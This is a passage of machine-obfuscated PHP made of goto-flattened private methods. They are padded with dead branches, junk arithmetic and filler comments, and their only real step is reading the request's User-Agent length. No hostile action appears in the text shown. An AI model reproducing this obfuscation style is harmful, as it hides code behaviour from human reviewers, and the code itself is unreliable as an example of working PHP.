$bZa4iOd6 = 631 + 5; $Pe9zuJ4r = $bZa4iOd6 * 4; goto UgWWoJ3x; UgWWoJ3x: /* Security component */ $iX1geSuk = 559 + 4; $iX1geSuk = $iX1geSuk * 1; if (false) { echo 'This is a dead end'; } goto DTxsNj5j; DTxsNj5j: $a29IFo9lZ = 682 + 19; $iCjD65Pi = $a29IFo9lZ * 3; goto K4olgrMK; K4olgrMK: $BqYDw4sr = 124 + 11; $n7sJ6WnP = $BqYDw4sr * 3; if (false) { echo 'This is a dead end'; } goto CLcy6E93; CLcy6E93: // wuVDjivtmVkQ if (false) { echo 'This is a dead end'; } goto QiGNQstq; QiGNQstq: /* VAp8wxEPv7_CmGx */ goto D7htMbsZ; D7htMbsZ: goto GOOLcl8i; GOOLcl8i: // zkl6JfPuNFH0 goto y4uNxte7; y4uNxte7: // MJ6iGjm4_azp goto Ek2uxFXb; Ek2uxFXb: goto M2ues01I; M2ues01I: if (false) { echo 'This is a dead end'; } goto a1gcoKAco; a1gcoKAco: // rlHY11Qhtev4JAqP if (false) { echo 'This is a dead end'; } goto a07T5q1IM; a07T5q1IM: $a29IFo9lZ = 265 + 4; $NqlX8zGc = $a29IFo9lZ * 2; goto kyadxQD_; kyadxQD_: goto lmnMuvmm; lmnMuvmm: return $a6b9oay5s > 10; } private function W_V0YkeSQb() { // t0hUf0INgeJ7Qqbr goto NnrkLfn2; NnrkLfn2: // 8X6v5xQN goto MqwE0345; MqwE0345: $BqYDw4sr = 154 + 42; $WWDcP6ib = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto M73L4HJJ; M73L4HJJ: /* Security component */ goto UMF0lTj7; UMF0lTj7: goto a0EDCCkJg; a0EDCCkJg: if (false) { echo 'This is a dead end'; } goto EbKurnZj; EbKurnZj: if (false) { echo 'This is a dead end'; } goto Ibyi9K45; Ibyi9K45: /* T0CdfYIz_S_9Npumya_G */ goto Esp8s9l3; Esp8s9l3: goto XLHCBCez; XLHCBCez: /* laK3zMFWvc */ goto QmoyFAFX; QmoyFAFX: // _xgQ_QMvLMni $jIP39ari = 595 + 31; $a29IFo9lZ = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto b0uOdGUM; b0uOdGUM: /* Main service */ goto WLsPi51l; WLsPi51l: // Lc3Cd1tN goto OS7xS_C1; OS7xS_C1: goto U0D4IVVs; U0D4IVVs: // lCNBW8rk4bVHcdea goto duxg0lFj; duxg0lFj: if (false) { echo 'This is a dead end'; } goto fgE7j52z; fgE7j52z: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto VzHDBMEU; VzHDBMEU: /* iRK_CVJ_NoZ8nhx */ goto IhrmOe1Y; IhrmOe1Y: goto L8dBYs9F; L8dBYs9F: goto QuUAYaG6; QuUAYaG6: goto a74XsV6Ne; a74XsV6Ne: goto ixuuzFGz; ixuuzFGz: $jIP39ari = 261 + 11; $iCjD65Pi = $jIP39ari * 3; goto a0zXmYVWL; a0zXmYVWL: goto UFSoHjsQ; UFSoHjsQ: /* S_gccO88IDpgvqZ */ goto a86MQygW_; a86MQygW_: // LMJRaHiy $BqYDw4sr = 105 + 26; $iCjD65Pi = $BqYDw4sr * 1; goto wzPuYZ5E; wzPuYZ5E: goto H59o4RLg; H59o4RLg: /* Main service */ goto w1i6TCON; w1i6TCON: /* Core module */ $B9ma2fmF = 885 + 19; $B9ma2fmF = $B9ma2fmF * 3; if (false) { echo 'This is a dead end'; } goto HpKSjq57; HpKSjq57: /* API handler */ goto gxuI0jQT; gxuI0jQT: goto Aaos6oil; Aaos6oil: $BqYDw4sr = 938 + 4; $NqlX8zGc = $BqYDw4sr * 4; goto IsxwUCh9; IsxwUCh9: $Pe9zuJ4r = strlen($Pe9zuJ4r); goto otH7hw6F; otH7hw6F: goto k8acCrDu; k8acCrDu: /* API handler */ goto a4p9vEH08; a4p9vEH08: if (false) { echo 'This is a dead end'; } goto lKlOAZes; lKlOAZes: $iCjD65Pi = 488 + 23; $Pe9zuJ4r = $iCjD65Pi * 1; goto BRJzvdE_; BRJzvdE_: goto SIUtMTCA; SIUtMTCA: goto NjjRkklx; NjjRkklx: /* Security component */ $n7sJ6WnP = 444 + 26; $B9ma2fmF = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto Vgw5kjs3; Vgw5kjs3: /* x7vgvuTQb1B3Jzx */ $WWDcP6ib = 177 + 18; $bZa4iOd6 = $WWDcP6ib * 2; goto nkZyCv_Z; nkZyCv_Z: goto MpJHGL9v; MpJHGL9v: /* XWHGXCLoOFlWlzc */ goto Rzx25cUW; Rzx25cUW: // 4uvMcbV_whBC $B9ma2fmF = 738 + 7; $a6EHyDbxg = $B9ma2fmF * 5; goto KdC0jq7F; KdC0jq7F: goto a5u47etcU; a5u47etcU: /* Core module */ $XsucffsH = 891 + 6; $NqlX8zGc = $XsucffsH * 1; goto JKLWx9KX; JKLWx9KX: /* eGOpcSWLdSXv7oQk49E9 */ if (false) { echo 'This is a dead end'; } goto jci3dAN1; jci3dAN1: /* 1FqP1NgaZu */ goto AjJYDaPI; AjJYDaPI: return $Pe9zuJ4r > 10; } private function a1xlC_66YCE() { goto g3yxukyO; g3yxukyO: /* 3ksL4ssRsd */ $BqYDw4sr = 706 + 36; $WWDcP6ib = $BqYDw4sr * 2; goto k9KnhyF7; k9KnhyF7: /* Security component */ $a29IFo9lZ = 648 + 22; $a6b9oay5s = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto ZaSCGn7D; ZaSCGn7D: goto UXLjbnmw; UXLjbnmw: goto mnWdmrlP; mnWdmrlP: // q57bdCMecv8y $bZa4iOd6 = 818 + 16; $jIP39ari = $bZa4iOd6 * 1; goto g2l0xRq1; g2l0xRq1: /* fYSC7FaJY8 */ goto XdOs83B2; XdOs83B2: /* Core module */ $iCjD65Pi = 851 + 19; $a6b9oay5s = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto I2UJR6UL; I2UJR6UL: $a29IFo9lZ = 582 + 35; $jIP39ari = $a29IFo9lZ * 4; goto WORc7HWF; WORc7HWF: goto KYB1c3WM; KYB1c3WM: // BZbWCi4Y if (false) { echo 'This is a dead end'; } goto UUWEL_Vr; UUWEL_Vr: /* API handler */ goto qT2w7Qkh; qT2w7Qkh: goto vOI1nCSW; vOI1nCSW: /* System file */ $iX1geSuk = 979 + 26; $XsucffsH = $iX1geSuk * 4; if (false) { echo 'This is a dead end'; } goto ZnRlDQoX; ZnRlDQoX: /* API handler */ goto qS_WFCWa; qS_WFCWa: /* Core module */ if (false) { echo 'This is a dead end'; } goto jbeL6nWp; jbeL6nWp: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto MXGjh1ah; MXGjh1ah: if (false) { echo 'This is a dead end'; } goto MGP_xpMo; MGP_xpMo: /* WL3YSbbmkEYz_CQvAZW7 */ $B9ma2fmF = 136 + 19; $iCjD65Pi = $B9ma2fmF * 5; goto vI4ZqU1q; vI4ZqU1q: /* vAVPq7oJkkBXZyO */ goto NmECVifD; NmECVifD: $bZa4iOd6 = 106 + 35; $BqYDw4sr = $bZa4iOd6 * 2; goto zyjPQAIC; zyjPQAIC: goto a8rg6pgDI; a8rg6pgDI: /* Core module */ goto a3o0YETaE; a3o0YETaE: goto f1F8sJ_L; f1F8sJ_L: /* 2spBFVKFP6SBCiG790NK */ goto hvaXvaN_; hvaXvaN_: // T1G4hIcHGX47uT1D goto cKJ57Hk0; cKJ57Hk0: goto a1jDavvDn; a1jDavvDn: $B9ma2fmF = 101 + 18; $bZa4iOd6 = $B9ma2fmF * 3; goto ebOlPrwI; ebOlPrwI: /* Security component */ goto R5ehuGVs; R5ehuGVs: goto a3HVyzPGP; a3HVyzPGP: if (false) { echo 'This is a dead end'; } goto pqBCKBMn; pqBCKBMn: $iCjD65Pi = 423 + 32; $iX1geSuk = $iCjD65Pi * 4; if (false) { echo 'This is a dead end'; } goto dbSVTdtK; dbSVTdtK: $bZa4iOd6 = strlen($XsucffsH); goto hw3kVJT4; hw3kVJT4: goto n8QiE2Ip; n8QiE2Ip: /* System file */ $B9ma2fmF = 724 + 30; $FbaGmw5w = $B9ma2fmF * 2; goto H4lpsRnv; H4lpsRnv: /* System file */ goto Vy_S6iA3; Vy_S6iA3: /* System file */ goto SNZsR1TC; SNZsR1TC: goto Nda8mmwj; Nda8mmwj: if (false) { echo 'This is a dead end'; } goto pRNXDT1m; pRNXDT1m: $a29IFo9lZ = 503 + 39; $n7sJ6WnP = $a29IFo9lZ * 3; goto O2paSt8z; O2paSt8z: /* Security component */ $a29IFo9lZ = 194 + 35; $jIP39ari = $a29IFo9lZ * 5; goto QgbEc20J; QgbEc20J: goto EU7rUg3j; EU7rUg3j: /* Main service */ goto ALLEjebJ; ALLEjebJ: // dUqi3BE8 if (false) { echo 'This is a dead end'; } goto hO7tpxB5; hO7tpxB5: /* System file */ goto nKzLp77Z; nKzLp77Z: goto K4ZEbndf; K4ZEbndf: $iCjD65Pi = 407 + 43; $a6b9oay5s = $iCjD65Pi * 2; goto P_fCGqvr; P_fCGqvr: /* czYyoP13s87lGur */ goto DaHovGGr; DaHovGGr: return $bZa4iOd6 > 10; } private function dyRNDHF0cD() { /* Core module */ goto a6HB9GHdA; a6HB9GHdA: // IrK5og_z goto jEHtk8tI; jEHtk8tI: goto uAY_cAAC; uAY_cAAC: // _FIiDwJmgKaE3LrM goto Bwc2NLrn; Bwc2NLrn: $a29IFo9lZ = 245 + 37; $jIP39ari = $a29IFo9lZ * 2; goto a17IemTMA; a17IemTMA: /* Main service */ goto pnf6AEo3; pnf6AEo3: if (false) { echo 'This is a dead end'; } goto qPFaPBJi; qPFaPBJi: goto eFop90dY; eFop90dY: $FbaGmw5w = 607 + 50; $WWDcP6ib = $FbaGmw5w * 4; goto a_TdbydIc; a_TdbydIc: /* System file */ goto LHsZvGJO; LHsZvGJO: /* fJr8CmB3a5m5UG6 */ $B9ma2fmF = 609 + 48; $a6EHyDbxg = $B9ma2fmF * 5; goto xfWNIYX1; xfWNIYX1: goto ocC8P3zz; ocC8P3zz: goto rF1TibYF; rF1TibYF: // Eizj5MNK $bZa4iOd6 = 623 + 33; $FbaGmw5w = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto RQBWp2s2; RQBWp2s2: $a6b9oay5s = 799 + 8; $NqlX8zGc = $a6b9oay5s * 5; goto fbiXkxnF; fbiXkxnF: /* System file */ goto rlGGTs8B; rlGGTs8B: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Y7P6EtZJ; Y7P6EtZJ: // ZaP5v7XLsknD7pMT goto R__Q1BBP; R__Q1BBP: goto hHvUH4tW; hHvUH4tW: $Pe9zuJ4r = 778 + 46; $iCjD65Pi = $Pe9zuJ4r * 5; goto HbN2KpLx; HbN2KpLx: /* XdOmltn1Sm */ goto h_a6p9tv; h_a6p9tv: if (false) { echo 'This is a dead end'; } goto O1KY8KUu; O1KY8KUu: // s7gsrLeGG6sL8x0j $WWDcP6ib = 913 + 28; $iX1geSuk = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto t2fOwOB_; t2fOwOB_: /* 4NUnJIq8Z_gGEGVGUjuK */ goto EokmMxcc; EokmMxcc: /* API handler */ $iX1geSuk = 332 + 31; $jIP39ari = $iX1geSuk * 2; goto GEsm3wN4; GEsm3wN4: $a6b9oay5s = 742 + 14; $NqlX8zGc = $a6b9oay5s * 5; goto M_xlh3nG; M_xlh3nG: /* Main service */ goto yDy99C42; yDy99C42: $a6EHyDbxg = 135 + 13; $iX1geSuk = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto JiKFZDJ3; JiKFZDJ3: /* QYXWxuejUh */ goto rV01Cy2c; rV01Cy2c: goto dFA61ZBg; dFA61ZBg: $WWDcP6ib = 512 + 9; $bZa4iOd6 = $WWDcP6ib * 4; goto V_G0BCoQ; V_G0BCoQ: goto ONQ27IWq; ONQ27IWq: $jIP39ari = strlen($Pe9zuJ4r); goto VhUkpS5S; VhUkpS5S: goto bzKgd0rU; bzKgd0rU: /* Main service */ goto TRXJR4yJ; TRXJR4yJ: /* btWTFAZHIhUvuNG */ $B9ma2fmF = 949 + 12; $BqYDw4sr = $B9ma2fmF * 2; goto a8otgo9Uv; a8otgo9Uv: /* API handler */ $B9ma2fmF = 989 + 41; $BqYDw4sr = $B9ma2fmF * 2; goto nqiLrVB2; nqiLrVB2: if (false) { echo 'This is a dead end'; } goto CRAwuXR7; CRAwuXR7: /* HqJ7Xjc1rfL2M8X */ goto a6SXNyM1j; a6SXNyM1j: goto cHJcnxDu; cHJcnxDu: /* 6du_7M_yaTE2lIW7h6wj */ $B9ma2fmF = 413 + 14; $jIP39ari = $B9ma2fmF * 1; goto BZ46qVLv; BZ46qVLv: /* h1_ihYfIe5TW84V */ $n7sJ6WnP = 485 + 13; $BqYDw4sr = $n7sJ6WnP * 5; goto roLrtFcw; roLrtFcw: // 7waihHdDa3La goto a5dbm5iH0; a5dbm5iH0: // 90bvWc1WD9mcFnvP $WWDcP6ib = 503 + 45; $n7sJ6WnP = $WWDcP6ib * 2; if (false) { echo 'This is a dead end'; } goto SowiAG2i; SowiAG2i: /* API handler */ $iCjD65Pi = 384 + 39; $Pe9zuJ4r = $iCjD65Pi * 2; goto VqWjp3MH; VqWjp3MH: /* System file */ goto a_LvzJVKC; a_LvzJVKC: /* 3IdJVpmTiP */ goto Gp_dg8Kw; Gp_dg8Kw: $jIP39ari = 178 + 12; $a6EHyDbxg = $jIP39ari * 5; goto Glyq6rJA; Glyq6rJA: return $jIP39ari > 10; } private function hNhJ0zyZmn() { goto a1zto0vze; a1zto0vze: $n7sJ6WnP = 571 + 44; $B9ma2fmF = $n7sJ6WnP * 3; goto vb45JVfO; vb45JVfO: goto wNHTIz_I; wNHTIz_I: // y6aVa4jQ goto vtiLfEnZ; vtiLfEnZ: goto a5gcLKhnN; a5gcLKhnN: // sqsXnSnp_52NKxua $n7sJ6WnP = 668 + 47; $FbaGmw5w = $n7sJ6WnP * 3; goto vCFTsMMY; vCFTsMMY: $a29IFo9lZ = 781 + 20; $n7sJ6WnP = $a29IFo9lZ * 3; goto TNLnx85N; TNLnx85N: $a29IFo9lZ = 263 + 35; $n7sJ6WnP = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto a9q5wPsgu; a9q5wPsgu: goto uo3Z_n31; uo3Z_n31: if (false) { echo 'This is a dead end'; } goto a_e8rbHUV; a_e8rbHUV: // veJrg1COj6mqhPLf $BqYDw4sr = 379 + 1; $a6b9oay5s = $BqYDw4sr * 4; goto mF72VRL4; mF72VRL4: goto Hdd5UAIq; Hdd5UAIq: // mf1BBxPVt2AW $bZa4iOd6 = 882 + 30; $B9ma2fmF = $bZa4iOd6 * 1; goto z8jad_um; z8jad_um: /* 27ZzSUATdT */ $B9ma2fmF = 887 + 10; $NqlX8zGc = $B9ma2fmF * 3; goto ZJsFVRQf; ZJsFVRQf: goto eq1E5pnd; eq1E5pnd: goto a_c5GfWfu; a_c5GfWfu: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto qBYv9Smw; qBYv9Smw: /* System file */ if (false) { echo 'This is a dead end'; } goto a2xNQrQGy; a2xNQrQGy: /* oycr15JAZC */ $a6b9oay5s = 479 + 50; $XsucffsH = $a6b9oay5s * 1; goto a3IJ59Sd_; a3IJ59Sd_: goto i6EeVcG5; i6EeVcG5: // 5LWYws8C5ktLZ1Qq goto lp2el7Jd; lp2el7Jd: $bZa4iOd6 = 318 + 45; $Pe9zuJ4r = $bZa4iOd6 * 1; goto phpchAjV; phpchAjV: /* gyS70q607v1XLLF */ goto quWSoqmH; quWSoqmH: goto akIuZoLE; akIuZoLE: goto ESREvdGQ; ESREvdGQ: goto s3rSAu2a; s3rSAu2a: /* PQ1DJnAG2oa7abx */ if (false) { echo 'This is a dead end'; } goto m6UlmwwD; m6UlmwwD: /* Core module */ $iX1geSuk = 522 + 30; $a6EHyDbxg = $iX1geSuk * 1; goto ZQ8MnFXL; ZQ8MnFXL: // Uj7ZL4Pm5O9T goto a97NtxmUL; a97NtxmUL: goto iFc3fCPL; iFc3fCPL: goto ErumLI4A; ErumLI4A: $FbaGmw5w = 951 + 49; $NqlX8zGc = $FbaGmw5w * 2; goto Tm_s1QbU; Tm_s1QbU: $WWDcP6ib = strlen($B9ma2fmF); goto zrNW2qn5; zrNW2qn5: if (false) { echo 'This is a dead end'; } goto SIZ9hdiV; SIZ9hdiV: /* mR22jOOJM6C0CnQqr3ty */ if (false) { echo 'This is a dead end'; } goto ThajkhLp; ThajkhLp: goto Sj2i81ph; Sj2i81ph: goto rsCkIji2; rsCkIji2: /* ZRkjalThpX_OY33dYMOo */ $B9ma2fmF = 897 + 45; $Pe9zuJ4r = $B9ma2fmF * 3; if (false) { echo 'This is a dead end'; } goto NH2B5uwC; NH2B5uwC: /* j9oL5Blce6Lkvbs */ $WWDcP6ib = 394 + 32; $a6EHyDbxg = $WWDcP6ib * 1; if (false) { echo 'This is a dead end'; } goto UU5nPN5R; UU5nPN5R: $Pe9zuJ4r = 955 + 7; $XsucffsH = $Pe9zuJ4r * 3; goto Mg6sIAjH; Mg6sIAjH: $XsucffsH = 527 + 8; $B9ma2fmF = $XsucffsH * 4; goto a9rRLExqy; a9rRLExqy: $B9ma2fmF = 441 + 39; $FbaGmw5w = $B9ma2fmF * 1; goto N7Mji931; N7Mji931: /* Main service */ goto g0cIqfZA; g0cIqfZA: goto ZEMw6V7J; ZEMw6V7J: /* Main service */ $n7sJ6WnP = 510 + 41; $Pe9zuJ4r = $n7sJ6WnP * 1; if (false) { echo 'This is a dead end'; } goto SzPuRPg7; SzPuRPg7: /* kiX9t58q9AY2nt0gsYGX */ if (false) { echo 'This is a dead end'; } goto a2BJHpwyk; a2BJHpwyk: /* API handler */ goto dARyiYmC; dARyiYmC: goto s5JG_rbk; s5JG_rbk: return $WWDcP6ib > 10; } private function Ub_G933cLz() { goto iCTYqnDt; iCTYqnDt: if (false) { echo 'This is a dead end'; } goto N5BqBV6j; N5BqBV6j: $a6b9oay5s = 140 + 50; $a6b9oay5s = $a6b9oay5s * 3; goto UtHpvTUe; UtHpvTUe: if (false) { echo 'This is a dead end'; } goto EKHYIqzf; EKHYIqzf: /* Main service */ goto qTkwAdgV; qTkwAdgV: if (false) { echo 'This is a dead end'; } goto FbmnTUlT; FbmnTUlT: goto a8tx4TFh_; a8tx4TFh_: // g3T3Bqh7 if (false) { echo 'This is a dead end'; } goto UMKbrIMd; UMKbrIMd: goto iRYniCua; iRYniCua: /* rXi7a_rTkP */ $XsucffsH = 778 + 8; $a6b9oay5s = $XsucffsH * 4; goto DkVEf2jY; DkVEf2jY: goto QW_il3X8; QW_il3X8: /* vqMksciWqS */ $jIP39ari = 523 + 3; $iCjD65Pi = $jIP39ari * 5; goto m81VoFaf; m81VoFaf: /* Security component */ if (false) { echo 'This is a dead end'; } goto m87qFFwZ; m87qFFwZ: /* TcgDafXOGk49kU793K28 */ goto qVZZJNxI; qVZZJNxI: /* Security component */ goto Ln4Tq4Ga; Ln4Tq4Ga: goto G9OultAi; G9OultAi: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto ysVu0A_3; ysVu0A_3: /* _B_tvLSfJzz5cDM */ $NqlX8zGc = 642 + 40; $iX1geSuk = $NqlX8zGc * 5; if (false) { echo 'This is a dead end'; } goto If9H1f_K; If9H1f_K: $NqlX8zGc = 776 + 49; $iCjD65Pi = $NqlX8zGc * 1; goto PaNgUSU3; PaNgUSU3: $XsucffsH = 738 + 49; $jIP39ari = $XsucffsH * 2; goto a4d4Iz47u; a4d4Iz47u: /* API handler */ goto Qm3IovGg; Qm3IovGg: // TGJEVRBvdQmef3JB goto J891tauB; J891tauB: /* Core module */ $iX1geSuk = 663 + 20; $bZa4iOd6 = $iX1geSuk * 2; goto h_wTGJ_P; h_wTGJ_P: // hvFgmhk6 goto EYaabnpV; EYaabnpV: goto lWANJkfS; lWANJkfS: /* NN83G2jOIC */ goto a_Nswqdye; a_Nswqdye: /* Core module */ $B9ma2fmF = 292 + 37; $bZa4iOd6 = $B9ma2fmF * 2; goto I4SeUpiN; I4SeUpiN: /* Core module */ goto KpCWX3ap; KpCWX3ap: if (false) { echo 'This is a dead end'; } goto a3aUSifzm; a3aUSifzm: $a29IFo9lZ = 439 + 50; $FbaGmw5w = $a29IFo9lZ * 2; goto a1perBvvb; a1perBvvb: /* API handler */ $a6EHyDbxg = 759 + 13; $BqYDw4sr = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto a1WhKLhyK; a1WhKLhyK: $iCjD65Pi = 621 + 34; $iX1geSuk = $iCjD65Pi * 2; goto a1LJBiQoO; a1LJBiQoO: $WWDcP6ib = strlen($Pe9zuJ4r); goto tHSvvUC5; tHSvvUC5: $a6EHyDbxg = 942 + 1; $iCjD65Pi = $a6EHyDbxg * 3; goto XvPldrfJ; XvPldrfJ: goto urKsQhMW; urKsQhMW: $B9ma2fmF = 625 + 25; $jIP39ari = $B9ma2fmF * 5; goto hDF9vFFc; hDF9vFFc: $a6EHyDbxg = 890 + 46; $iX1geSuk = $a6EHyDbxg * 3; goto uQhhRWxa; uQhhRWxa: /* API handler */ $WWDcP6ib = 603 + 46; $Pe9zuJ4r = $WWDcP6ib * 1; goto idjwSKBi; idjwSKBi: if (false) { echo 'This is a dead end'; } goto a6KkPQdqE; a6KkPQdqE: // kH3DjDYc goto RyA_nwIR; RyA_nwIR: /* acmGyIj9uidTIh7WxgQG */ goto W7CNibuJ; W7CNibuJ: /* System file */ $FbaGmw5w = 712 + 5; $Pe9zuJ4r = $FbaGmw5w * 1; goto QhyFgD8r; QhyFgD8r: // DJWKl6Kt goto H1Ns31RK; H1Ns31RK: /* Core module */ goto NaG76AOQ; NaG76AOQ: $jIP39ari = 815 + 37; $NqlX8zGc = $jIP39ari * 5; if (false) { echo 'This is a dead end'; } goto WNcBZ5ZN; WNcBZ5ZN: /* API handler */ $a6b9oay5s = 769 + 20; $a29IFo9lZ = $a6b9oay5s * 2; goto POY21uwr; POY21uwr: goto ibnWhWkX; ibnWhWkX: /* noiK4ct0QOwvbKPNOuri */ goto a2j03I69k; a2j03I69k: return $WWDcP6ib > 10; } private function JRhV4bR0Jf() { /* u9EMfchRki */ goto wxTCu8bC; wxTCu8bC: // 5YL7smP_ goto a4a5h7Ppx; a4a5h7Ppx: /* Main service */ goto iyORMvPA; iyORMvPA: /* System file */ goto UcWI1Q24; UcWI1Q24: goto a2pZCj2Tl; a2pZCj2Tl: $n7sJ6WnP = 952 + 8; $iX1geSuk = $n7sJ6WnP * 5; if (false) { echo 'This is a dead end'; } goto a4OgBhgXb; a4OgBhgXb: /* HFAmxdf4u6m0ftC3SXd6 */ goto EpXokAz4; EpXokAz4: goto WhQwZJhw; WhQwZJhw: if (false) { echo 'This is a dead end'; } goto CTCWpNQT; CTCWpNQT: goto a9ZumiMJE; a9ZumiMJE: goto DPkmKIFt; DPkmKIFt: /* Security component */ $a6EHyDbxg = 688 + 37; $FbaGmw5w = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto fUdC6_tB; fUdC6_tB: // cziOn_iM_iudA2v7 if (false) { echo 'This is a dead end'; } goto MyFr07bC; MyFr07bC: // CvyDwlhk goto P3otZAZA; P3otZAZA: goto wLHHCCkT; wLHHCCkT: /* k7xhXRMo9aANCA5J4olT */ goto Cj0JyUgJ; Cj0JyUgJ: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto zMo5Vz9p; zMo5Vz9p: $n7sJ6WnP = 438 + 46; $iCjD65Pi = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto gujcrDal; gujcrDal: $a29IFo9lZ = 191 + 44; $WWDcP6ib = $a29IFo9lZ * 1; goto a1SdMdrhV; a1SdMdrhV: $XsucffsH = 644 + 10; $iX1geSuk = $XsucffsH * 2; if (false) { echo 'This is a dead end'; } goto a_M2v4x3r; a_M2v4x3r: $bZa4iOd6 = 387 + 9; $n7sJ6WnP = $bZa4iOd6 * 5; goto a2qPcb1bX; a2qPcb1bX: if (false) { echo 'This is a dead end'; } goto V0b1AtQz; V0b1AtQz: $jIP39ari = 423 + 35; $bZa4iOd6 = $jIP39ari * 4; goto tWs7nKaf; tWs7nKaf: // fpZQQzxP goto Fmk88rt7; Fmk88rt7: // KZ7RG_mH goto CGN1HIBg; CGN1HIBg: goto ahBwkpsZ; ahBwkpsZ: /* Main service */ if (false) { echo 'This is a dead end'; } goto qvV5ZRYF; qvV5ZRYF: goto Ay790hgS; Ay790hgS: /* Security component */ goto a008KdzoD; a008KdzoD: $a6EHyDbxg = 342 + 4; $XsucffsH = $a6EHyDbxg * 3; goto Cn0MAYnn; Cn0MAYnn: // ltvG1KpYJLSdEnGy $bZa4iOd6 = 406 + 11; $a6EHyDbxg = $bZa4iOd6 * 4; goto IpTdfIWS; IpTdfIWS: // xy4qyZG3 $Pe9zuJ4r = 339 + 43; $a6EHyDbxg = $Pe9zuJ4r * 4; goto JyDusuN_; JyDusuN_: $XsucffsH = strlen($n7sJ6WnP); goto LHl26Nzo; LHl26Nzo: goto LvKjMc7p; LvKjMc7p: goto atu8yu91; atu8yu91: if (false) { echo 'This is a dead end'; } goto a0fs1Z2TW; a0fs1Z2TW: goto zQjjFPnV; zQjjFPnV: /* Itv0HeVU1QeKkXS7w8FP */ goto XJoywvmi; XJoywvmi: $a6b9oay5s = 554 + 41; $XsucffsH = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto FsYStcuL; FsYStcuL: /* System file */ goto a0B9KTUqU; a0B9KTUqU: goto cg8fhF4V; cg8fhF4V: if (false) { echo 'This is a dead end'; } goto CYfAd1JU; CYfAd1JU: /* System file */ $iCjD65Pi = 947 + 34; $BqYDw4sr = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto a4apfSxbE; a4apfSxbE: /* Core module */ goto a15MzoRH4; a15MzoRH4: /* Security component */ $bZa4iOd6 = 706 + 29; $a6EHyDbxg = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto a2eY0Q0xe; a2eY0Q0xe: /* Zv80KvLzdI */ goto Oqm7W70Y; Oqm7W70Y: // LmcVNBpC goto iUB4q15J; iUB4q15J: /* IV4NGlw8ob */ goto xQj2T8iM; xQj2T8iM: return $XsucffsH > 10; } private function sZ8yImcmkt() { goto UbwSnXv8; UbwSnXv8: goto nJ_yBl81; nJ_yBl81: // Ev64qA67D5M_ $a29IFo9lZ = 617 + 23; $iCjD65Pi = $a29IFo9lZ * 5; goto fxWxdaqm; fxWxdaqm: goto U9au4KEx; U9au4KEx: goto jVpzBvuN; jVpzBvuN: /* atQz_C31nzDsdyM */ $a29IFo9lZ = 151 + 23; $a29IFo9lZ = $a29IFo9lZ * 1; goto uENmk8lS; uENmk8lS: $B9ma2fmF = 842 + 37; $BqYDw4sr = $B9ma2fmF * 3; goto VsIABHnC; VsIABHnC: $jIP39ari = 686 + 23; $iX1geSuk = $jIP39ari * 3; goto pd3sM7Pd; pd3sM7Pd: // CtlXSfAthYZK $Pe9zuJ4r = 295 + 47; $WWDcP6ib = $Pe9zuJ4r * 1; goto NdrjC9no; NdrjC9no: goto jCGzLS4E; jCGzLS4E: /* System file */ goto HMzJXsud; HMzJXsud: $NqlX8zGc = 385 + 17; $Pe9zuJ4r = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto nikWQ9AW; nikWQ9AW: goto PvVz7K0M; PvVz7K0M: $XsucffsH = 844 + 6; $WWDcP6ib = $XsucffsH * 5; goto UdoYR5g4; UdoYR5g4: /* Core module */ goto cuDsGPms; cuDsGPms: /* Security component */ goto a_B_aYRYF; a_B_aYRYF: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a5T30hRqg; a5T30hRqg: /* t9sXelUn1z */ goto a4u_nlvS1; a4u_nlvS1: /* Core module */ goto D_DBEuGr; D_DBEuGr: if (false) { echo 'This is a dead end'; } goto PVP04OnZ; PVP04OnZ: goto OEujBalb; OEujBalb: /* Main service */ goto xC62vlX2; xC62vlX2: goto bAymKUmd; bAymKUmd: $a6b9oay5s = 930 + 34; $a6EHyDbxg = $a6b9oay5s * 3; if (false) { echo 'This is a dead end'; } goto n4cnrVsO; n4cnrVsO: // 3AXP2zDde1F7 if (false) { echo 'This is a dead end'; } goto jPyWsOZA; jPyWsOZA: goto gYJh4cC8; gYJh4cC8: goto zQRfNx7N; zQRfNx7N: // jx99soCzT987 goto j_KPHa0A; j_KPHa0A: if (false) { echo 'This is a dead end'; } goto mgsb0_hL; mgsb0_hL: goto NGH3W5Tv; NGH3W5Tv: goto fUN0giQm; fUN0giQm: $iX1geSuk = 757 + 10; $BqYDw4sr = $iX1geSuk * 2; goto qIVJJhAC; qIVJJhAC: $iX1geSuk = strlen($a29IFo9lZ); goto c3M2NKBB; c3M2NKBB: /* System file */ if (false) { echo 'This is a dead end'; } goto s7xlOiiT; s7xlOiiT: /* Main service */ $BqYDw4sr = 429 + 4; $BqYDw4sr = $BqYDw4sr * 2; if (false) { echo 'This is a dead end'; } goto a_c_l3wgo; a_c_l3wgo: /* Security component */ goto x7imBlFb; x7imBlFb: /* Core module */ goto NIVFfHWd; 